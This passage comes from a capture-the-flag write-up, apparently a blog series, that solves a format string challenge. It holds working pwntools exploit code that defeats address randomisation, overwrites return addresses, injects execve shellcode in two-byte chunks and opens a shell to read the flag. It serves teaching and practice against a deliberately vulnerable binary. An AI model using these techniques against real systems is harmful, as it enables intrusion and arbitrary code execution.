The address attribute of the ELF object exe represents the relocated base address. In pwnlib, the ELF object represents the relocated ELF segments. We could add the relocated base address to the static offset for any instructions to obtain their relocated addresses. Then, we utilized the relocated address to redirect the control flow to the name reading.

# load the modular congruence of func's address to the 4-byte buffer
func_addrsuf = func_address & 0xFFFF
modular_adjusted = (func_addrsuf-109) % 65536
payload = p64(ret_addr) + p32(modular_adjusted)
r.sendafter(b'name: ',payload)
r.sendafter(b'here: ',b'ddbf') # "ddbf" stands for "deadbeef"

When the control flow reached name reading, we loaded the value onto the stack to construct the control pointer of the func pointer. Since we didn’t want to lose control of the control pointer of the return address of the format print function, we had to load the exact raw address again into the name buffer ahead of the value for overwriting the control pointer to construct. As mentioned earlier, the value to overwrite the control pointer to construct is a modular congruence of the original value. After this, we were ready to build the control pointer of the func pointer with the 4-byte value that had just been loaded.

# partially overwrite the control pointer with the 4-byte buffer
looping_curse_spell = "%109c%10$hhn"
meta_cntl_ptr = ptr_pair[0]
cntl_ptr = ptr_pair[1]
payload = f"%*11$c%{meta_cntl_ptr}$hn"
payload = looping_curse_spell + payload
if len(payload) < 0x18:
    payload = payload + "\n"
r.sendafter(b'course: ', payload.encode())

We’re all set; it’s time to finish the construction. Overwriting the control pointer candidate with the compressed format string mentioned above should be painless. When finished, checking to reach a milestone is always good practice.

# check the current value of the control pointer
payload = f"%{cntl_ptr}$016llX"
payload = looping_curse_spell + payload
r.sendlineafter(b'course: ', payload.encode())
r.recvuntil(b'feedback submitted: \n')
r.recv(109)
cntl_ptr_val_raw = r.recv(16)
cntl_ptr_val = int(cntl_ptr_val_raw,16)
info(f"Control pointer value set: {hex(cntl_ptr_val)}")

There we go—the construction succeeded. We now have the control pointer of the func pointer set up. It’s time for celebration.

[*] Found stack pointer: 0x7ffdf1715ab0
......
[*] Control pointer value set: 0x7ffdf1715ab8

While working in the construction zone, we tried a simple approach but accidentally exceeded the format string length limit. After carefully reading the manual for the format print function, we discovered that we could compress the format string by indirectly passing the field width specifier. We then modified our script to incorporate this idea and successfully identified the new base address of the ELF segments. Finally, we finished the construction, verified that the desired value had been loaded onto the control pointer of the func pointer, and ensured everything was working as expected. We were ready to load the shell code.

The Loading Zone

The construction zone handled most of the preparation work, so it was time for the loading zone. In the loading zone, we assembled the shellcode and loaded it into the designated location. With the preparation work from the construction zone, it was no longer hard to proceed.

The shellcraft module in the pwnlib simplifies assembling shellcode. In this example, we combined a sh with an exit to ensure that the shellcode launches an interactive shell and terminates the victim process without generating additional errors. Ahead of the sh, we used an echo to signal that the control flow is transferred to the shellcode. Since the shellcraft module only generates assembly code, we used the asm function to assemble it into machine code. The read_shellcode function reads two bytes at a time, so we added padding to the assembled shellcode to ensure its length is always even.

# prepair and assemble shellcode
shellcode = shellcraft.echo("PWNED") + shellcraft.sh() + shellcraft.exit()
shellcode = shellcode + shellcraft.nop() * 2
info(f"Shellcode in assembly: \n{shellcode}")
payload = asm(shellcode)
if len(payload)%2!=0:
    payload = payload + asm(shellcraft.nop())

The code snippet also displays the shellcode in assembly, providing a clear view of its structure. The shellcode comprises four parts: the echo, the shell, the exit, and the trailing nops. The trailing nops are necessary because the func pointer will eventually reference somewhere, and we need to ensure that writing to that location won’t cause any issues. The subsequent part of the script outputs the assembled shellcode in hexadecimal format, which is helpful for diagnostic purposes.

[*] Shellcode in assembly:
        /* push b'PWNED' */
        mov rax, 0x101010101010101
        push rax
        mov rax, 0x101010101010101 ^ 0x44454e5750
        xor [rsp], rax
        /* call write('1', 'rsp', 5) */
        push SYS_write /* 1 */
        pop rax
        push (1) /* 1 */
        pop rdi
        push 5
        pop rdx
        mov rsi, rsp
        syscall
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        mov rax, 0x732f2f2f6e69622f
        push rax
        mov rdi, rsp
        /* push argument array ['sh\x00'] */
        /* push b'sh\x00' */
        push 0x1010101 ^ 0x6873
        xor dword ptr [rsp], 0x1010101
        xor esi, esi /* 0 */
        push rsi /* null terminate */
        push 8
        pop rsi
        add rsi, rsp
        push rsi /* 'sh\x00' */
        mov rsi, rsp
        xor edx, edx /* 0 */
        /* call execve() */
        push SYS_execve /* 0x3b */
        pop rax
        syscall
        /* exit(status=0) */
        xor edi, edi /* 0 */
        /* call exit() */
        push SYS_exit /* 0x3c */
        pop rax
        syscall
        nop
        nop
[*] Shellcode deployed: 48b801010101010101015048b851564f4445010101483104246a01586a015f6a055a4889e60f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f0531ff6a3c580f059090

Similar to how we redirected the control flow to the name reading, we can redirect the control flow to shellcode reading by overwriting the least two significant bytes of the return address of the format print function. In contrast to the control flow redirection to the name reading, we already know the base address of the relocated ELF segments. Therefore, we can directly calculate the relocated address of the instructions related to the shellcode reading. We then assembled and delivered a customized looping curse spell.

# prepair for payload uploads
read_shellcode_address = exe.address + 0x0b2a
read_shellcode_addrsuf = read_shellcode_address & 0xFFFF
looping_curse_spell = f"%{read_shellcode_addrsuf}c%10$hn"
r.sendlineafter(b'course: ', looping_curse_spell.encode())
# upload payload
for offset in range(0,len(payload),2):
    trunk = payload[offset:offset+2]
    r.sendafter(b'here: ',binstr_to_hexstr(trunk,True))
    modular_adjusted = (offset+2-read_shellcode_addrsuf) % 256
    fmtstr = f"%{modular_adjusted}c%{cntl_ptr}$hhn"
    fmtstr = looping_curse_spell + fmtstr
    if len(fmtstr) < 0x18:
        fmtstr = fmtstr + "\n"
    r.sendafter(b'course: ', fmtstr.encode())
r.sendafter(b'here: ',b'9090') 
info(f"Shellcode deployed: {binstr_to_hexstr(payload)}")

The most satisfying part of the loading process comes when loading the shellcode into the designated process. Since the read_shellcode function can only take two bytes at a time, we divided the shellcode into multiple chunks, each consisting of precisely two bytes. We loaded these shellcode chunks consecutively using the custom looping spell and partially overwriting the func pointer. As the read_shellcode function requires the shellcode chunks to be in hexadecimal format, we created a helper function called binstr_to_hexstr to convert raw binary strings into hexadecimal encoded strings. Finally, as mentioned earlier, the script prints the hexadecimal representation of the assembled shellcode.

gef➤  hexdump byte --size 112 0x2333000
0x0000000002333000     48 b8 01 01 01 01 01 01 01 01 50 48 b8 51 56 4f    H.........PH.QVO
0x0000000002333010     44 45 01 01 01 48 31 04 24 6a 01 58 6a 01 5f 6a    DE...H1.$j.Xj._j
0x0000000002333020     05 5a 48 89 e6 0f 05 6a 68 48 00 b8 62 69 6e 2f    .ZH....jhH..bin/
0x0000000002333030     2f 2f 73 50 48 89 e7 68 72 69 01 01 81 34 24 01    //sPH..hri...4$.
0x0000000002333040     01 01 01 31 f6 56 6a 08 5e 48 01 e6 56 48 89 e6    ...1.Vj.^H..VH..
0x0000000002333050     31 d2 6a 3b 58 0f 05 31 ff 6a 3c 58 0f 05 90 90    1.j;X..1.j<X....
0x0000000002333060     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

Please repeat after me: checking and ensuring we reach milestones is always good practice. In this case, we encountered a glitch. The assembled payload is supposed to have b8 2f as the 42nd and 43rd bytes, but it turned out to be 00 b8, which is unexpected. This discrepancy occurred because the modular_adjusted in the script might be zero. However, using a placeholder like %0c is against the rules outlined in the format print function’s manual.

An optional decimal digit string (with nonzero first digit) specifying a minimum field width.

When encountering a placeholder like %0c, the printf function won’t skip the placeholder as if there’s nothing to print. Instead, it will ignore the field width modifier and print one character, which can mess up the subsequent overwritings. To prevent this, we must check if the modular_adjusted is zero and intentionally skip the corresponding placeholder when constructing the format string.

# upload payload
for offset in range(0,len(payload),2):
    trunk = payload[offset:offset+2]
    r.sendafter(b'here: ',binstr_to_hexstr(trunk,True))
    modular_adjusted = (offset+2-read_shellcode_addrsuf) % 256
    if modular_adjusted > 0:
        fmtstr = f"%{modular_adjusted}c%{cntl_ptr}$hhn"
    else:
        fmtstr = f"%{cntl_ptr}$hhn"
    fmtstr = looping_curse_spell + fmtstr
    if len(fmtstr) < 0x18:
        fmtstr = fmtstr + "\n"
    r.sendafter(b'course: ', fmtstr.encode())
r.sendafter(b'here: ',b'9090')

It is a slight tweak to the code but a massive leap toward success. We dropped in the change, reran the script, and examined the loaded shellcode with the debugger. Everything appeared flawless.

gef➤  hexdump byte --size 112 0x2333000
0x0000000002333000     48 b8 01 01 01 01 01 01 01 01 50 48 b8 51 56 4f    H.........PH.QVO
0x0000000002333010     44 45 01 01 01 48 31 04 24 6a 01 58 6a 01 5f 6a    DE...H1.$j.Xj._j
0x0000000002333020     05 5a 48 89 e6 0f 05 6a 68 48 b8 2f 62 69 6e 2f    .ZH....jhH./bin/
0x0000000002333030     2f 2f 73 50 48 89 e7 68 72 69 01 01 81 34 24 01    //sPH..hri...4$.
0x0000000002333040     01 01 01 31 f6 56 6a 08 5e 48 01 e6 56 48 89 e6    ...1.Vj.^H..VH..
0x0000000002333050     31 d2 6a 3b 58 0f 05 31 ff 6a 3c 58 0f 05 90 90    1.j;X..1.j<X....
0x0000000002333060     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

We successfully assembled the shellcode and loaded it into the target process. We encountered a glitch, but the solution wasn’t too complicated. The only thing left was handing over the control flow to the shellcode, which led to the last battle.

The Last Battle

In the final battle of part three of the Pwn trilogy, we want to run the shellcode. Similar to how we take over the control flow and form a loop, we aim to hand over the control flow to the shellcode by overwriting the return address of the format print function. This way, when the function returns, it will run the shellcode. Unlike partially overwriting the return address to form the loop, we need to overwrite all 8 bytes together this time.

64-bit return address in little-endian:

  least significant    most significant  
  ├─── 4 bytes ───┤   ├─── 4 bytes ───┤  
┌────┬────┬────┬────┬────┬────┬────┬────┐
│    │    │    │    │    │    │    │    │
└────┴────┴────┴────┴────┴────┴────┴────┘
 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 

We reconstructed the control pointer, which refers to the most significant 4 bytes (M4SB) of the return address, given that the equivalent pointer at the name buffer already refers to the least significant 4 bytes (L4SB) of the return address. When a placeholder in a format string uses the n conversion specifier without a field width specifier, it overwrites the entire 4-byte integer. Therefore, we can overwrite all 8 bytes of the return address at once with the control pointer and the name effective pointer.

   ┌────────────┬────────────┐   
┌─►│RETADDR L4SB│RETADDR M4SB│◄─┐
│  ├────────────┴────────────┤  │
│  ┆                         ┆  │
│  ┊                         ┊  │
│  ┆                         ┆  │
│  ├─────────────────────────┤  │
└──┤          name           │  │
 ▲ ├────────────┬────────────┤  │
 └─┤ 0x02333000 │            │  │
   ├────────────┘            │  │
   ┆                         ┆  │
   ┊                         ┊  │
   ┆                         ┆  │
   ├─────────────────────────┤  │
   │     control pointer     ├──┘
   ├─────────────────────────┤   
   ┆                         ┆   

Since the target address 0x2333000 is too long to fit in the length-constrained format string, we load it into the 4-byte buffer, partially taken from the stack canary, following the name buffer. This allows us to compress the format string to an acceptable length, similar to how we compressed the format string when constructing the control pointer. We then worked out a snippet regarding this approach.

# redirect the control flow to name reading
name_read_address = exe.address + 0x0af0
name_read_addrsuf = name_read_address & 0xFFFF
looping_curse_spell = f"%{name_read_addrsuf}c%10$hn"
# adjust the control pointer to the most significant 4 bytes
r.sendlineafter(b'course: ', looping_curse_spell.encode())
modular_adjusted = (((rsp-4)&0xFFFF)-name_read_addrsuf) % 65536
payload = p64(ret_addr) + p32(modular_adjusted)
r.sendafter(b'name: ',payload)
r.sendafter(b'here: ',b'9090')
meta_cntl_ptr = ptr_pair[0]
payload = f"%*11$c%{meta_cntl_ptr}$hn"
payload = looping_curse_spell + payload
if len(payload) < 0x18:
    payload = payload + "\n"
r.sendafter(b'course: ', payload.encode())
# overwrite return address to 0x2333000
payload = p64(ret_addr) + p32(0x2333000)
r.sendafter(b'name: ',payload)
r.sendafter(b'here: ',b'9090')
cntl_ptr = ptr_pair[1]
payload = f"%{cntl_ptr}$n%*11$c%10$n"
if len(payload) < 0x18:
    payload = payload + "\n"
r.sendafter(b'course: ', payload.encode())
# wait until shellcode execution
r.recvuntil(b'PWNED')
r.interactive()

We added two more lines at the end of the snippet. One waits for the shellcode to be successfully executed. Given the shellcode launches an interactive shell, the second line activates the alternative mode of the pwn script. We could then run common shell commands in the interactive mode.

[*] '/home/skid.t/playground/cpsc233_final'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
......
[*] Shellcode deployed: 48b801010101010101015048b851564f4445010101483104246a01586a015f6a055a4889e60f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f0531ff6a3c580f059090
[*] Shell actived.
[*] Switching to interactive mode
$ ls
main.c           cpsc233_final           flag.txt
nsjail.cfg       Dockerfile
$ cat flag.txt
maple{r34d_5h3llc0d3_u51n6_5h3llc0d3}

There we go. We won the last battle and obtained the shell. We played a little with the shell and retrieved the flag, where we successfully completed the challenge. The Pwn trilogy concludes here. Considering all the efforts, it’s been such a rocky road to Pwn.

Conclusion

The final assignment for CPSC233 is a challenging and complex task in an entry-level CTF. It builds upon basic knowledge from university-level computer system courses and requires participants to go beyond. We had never considered delving into the C standard libraries and studying the internals of the format print functions, but we enjoyed the fantastic rabbit hole. In general, the challenge tests the participants’ ability to conduct research. We learned a lot during this process, which motivated us to share, resulting in the Pwn trilogy.

In the Pwn trilogy, we examine the lower system view of the format printf function. Then, we explore how to read data that is not intended to be read. Later, we delve into how to modify data using the format printf function. We also discuss Address Space Layout Randomization (ASLR) and methods to bypass it. Finally, we use a CTF challenge to summarize and practice all the skills discussed. We hope you enjoy the Pwn trilogy. Happy hacking.

Attachments

pwn-trilogy-part-iii-poc.py

loop-curse-poc.py

find-out-of-box-ctl-ptr.py

ctrl_ptr_poc.py

cpsc233-final-solution.py (original solution)